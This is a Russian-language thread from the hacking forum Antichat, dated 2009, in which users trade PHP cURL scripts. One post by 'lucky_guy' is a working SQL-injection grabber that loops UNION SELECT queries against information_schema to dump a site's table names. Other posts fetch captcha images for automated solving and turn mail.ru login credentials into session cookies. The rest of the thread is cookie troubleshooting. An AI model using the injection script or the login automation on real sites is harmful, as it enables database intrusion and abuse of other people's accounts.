Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

19.08.2009, 18:53
|
|
Постоянный
Регистрация: 05.07.2008
Сообщений: 555
Провел на форуме: 3134311
Репутация:
1467
|
|
Сообщение от geforse
Как сохранить капчу, которая постоянно меняется ?
Пример:
site.ru/img.php?g=123 (будет одно значение, если обновить, то будет другое значение капчи)
Тоесть я захожу на страницу с капчей и как мне сохранить только рисунок капчи ?
Из кэша браузера, разве что, либо попробовать врубить автономный режим и сохранить изображение каптчи.
|
|
|

19.08.2009, 19:06
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме: 5365841
Репутация:
712
|
|
|
|
|

19.08.2009, 19:06
|
|
Постоянный
Регистрация: 03.06.2009
Сообщений: 385
Провел на форуме: 3178262
Репутация:
389
|
|
Сообщение от geforse
Как сохранить капчу, которая постоянно меняется ?
Пример:
site.ru/img.php?g=123 (будет одно значение, если обновить, то будет другое значение капчи)
Тоесть я захожу на страницу с капчей и как мне сохранить только рисунок капчи ?
я тебе ж уже давал скрипт - пример работы с капчей!
PHP код:
function post ($url='',$content=null,$referer=null,$follow=0 )
{
GLOBAL $cookie;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $follow);
if (!empty($cookie)) curl_setopt($ch, CURLOPT_COOKIE, implode('; ',array_values($cookie)));
if (!empty($content)) {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $content);} else {curl_setopt($ch, CURLOPT_POST, 0);}
if (!empty($referer)) curl_setopt($ch, CURLOPT_REFERER, $referer);
$ss=curl_exec($ch);
curl_close($ch);
if (preg_match_all('#^Set-Cookie: (([^;=]+)=([^;=]+))#mi',$ss,$cook))
{
if ($tmpcookie=array_combine($cook[2],$cook[1]))
$cookie=(array)$tmpcookie + (array)$cookie;
}
return preg_replace('~[\s\S]+\r\n\r\n~U','',$ss,1);
}
PHP код:
unset($_SESSION['mir']);
// Получаем начальные куки
$in = post('http://site.ru/login');
preg_match('#<img src="http://site.ru/captcha/login?(.*?)"#i', $in, $match_capt);
// Делаем локальную копию куки
file_put_contents('local.jpg',post('http://site.ru/captcha/login?'.$match_capt[1],null,'http://site.ru/login'));
(c) Чей-то
|
|
|

19.08.2009, 19:08
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме: 5365841
Репутация:
712
|
|
FireFenix,спс
просто всегда статичная капча появлялась )
|
|
|
доработка к моему graber'y, добавил туда парсер. |

20.08.2009, 05:44
|
|
Новичок
Регистрация: 17.08.2009
Сообщений: 11
Провел на форуме: 25459
Репутация:
3
|
|
доработка к моему graber'y, добавил туда парсер.
PHP код:
<?php
echo"----------------------------------\n";
echo"|SQL-injection Grabber and Parser|\n";
echo"| Povered by lucky_guy! |\n";
echo"----------------------------------\n";
$fop=fopen("temp.txt","a");
for($i=1;$i<100;$i++){
$url=fopen("http://bla-bla.com/index.php?id=1'+union+all+select+1,concat(char(94),table_name,char(94))+from+information_schema.tables+limit+$i,1/*","r");
while(!feof($url)){
$buf=fgets($url, 128);{
fwrite($fop,$buf);
}}}
fclose($url);
fclose($fop);
$fop1=fopen("result.txt","w");
$fop=fopen("temp.txt","r");
if($fop){
$size=filesize("temp.txt");
$fr=fread($fop,$size);}
preg_match_all("/\^(.*)\^/isU",$fr,$fou,PREG_PATTERN_ORDER);
for($i=0;$i<count($fou[1]);$i++){
echo $fou[1][$i]."\n";
fwrite($fop1,$fou[1][$i]."\r\n");}
fclose($fop);
fclose($fop1);
system("del temp.txt");
echo"----------------------------------\n";
echo"| DONE! |\n";
echo"----------------------------------\n";
?>
Последний раз редактировалось lucky_guy; 20.08.2009 в 05:55..
|
|
|

20.08.2009, 18:31
|
|
Новичок
Регистрация: 31.12.2006
Сообщений: 25
Провел на форуме: 216389
Репутация:
10
|
|
Подскажите пожалуйста, как бы мне на php реализовать такую задачку: у меня есть логин и пароль от mail.ru, мне надо сделать из них куки, которые я потом передаю другому скрипту и он мне что-нить делает=)
я пробовал так:
PHP код:
<?php
$ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2';
$ref = 'http://win.mail.ru/cgi-bin/auth';
$post = 'Login=ЛОГИН&Domain=mail.ru&Password=ПАРОЛЬ&level=0';
$ch = curl_init($ref);
$cfile = 'F:\xampp\htdocs\MailRuCookies\cookies.txt';
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$res = curl_exec($ch);
curl_close($ch);
$res = iconv('UTF-8','windows-1251',$res);
echo $res;
?>
Но в файле cookies.txt у меня появились только значения t,Mpop,mrcu... Я скорее всего делаю вообще не то что надо делать,но чёто в книжках умных по этому поводу ничего не нашёл.
|
|
|

20.08.2009, 18:44
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме: 5365841
Репутация:
712
|
|
PHP код:
function post($url,$post,$refer)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
Почему у меня не работаю куки на последнем Denwer'e, а на хостинге всё прекрасно работает ?
куки.txt тоже пробовал ставить не помогает 
|
|
|

20.08.2009, 18:51
|
|
Новичок
Регистрация: 20.03.2009
Сообщений: 2
Провел на форуме: 52624
Репутация:
10
|
|
curl_setopt($ch, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
|
|
|

20.08.2009, 18:58
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме: 5365841
Репутация:
712
|
|
не помогло) .txt файл не создался и сайт мне сказал чтобы я включил куки 
|
|
|

20.08.2009, 19:09
|
|
Новичок
Регистрация: 20.03.2009
Сообщений: 2
Провел на форуме: 52624
Репутация:
10
|
|
На локалке как раз у меня лично работает в таком виде... тхт файл должен создаться не в папке со скриптом а в localhost\www\ (посмотри его там)
Сообщение сайт выдал..?! Может где-то не поменял в скрипте..? Везде должны стоять
$_SERVER['DOCUMENT_ROOT'].'/cookie.txt'
вместо
"./cook"
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|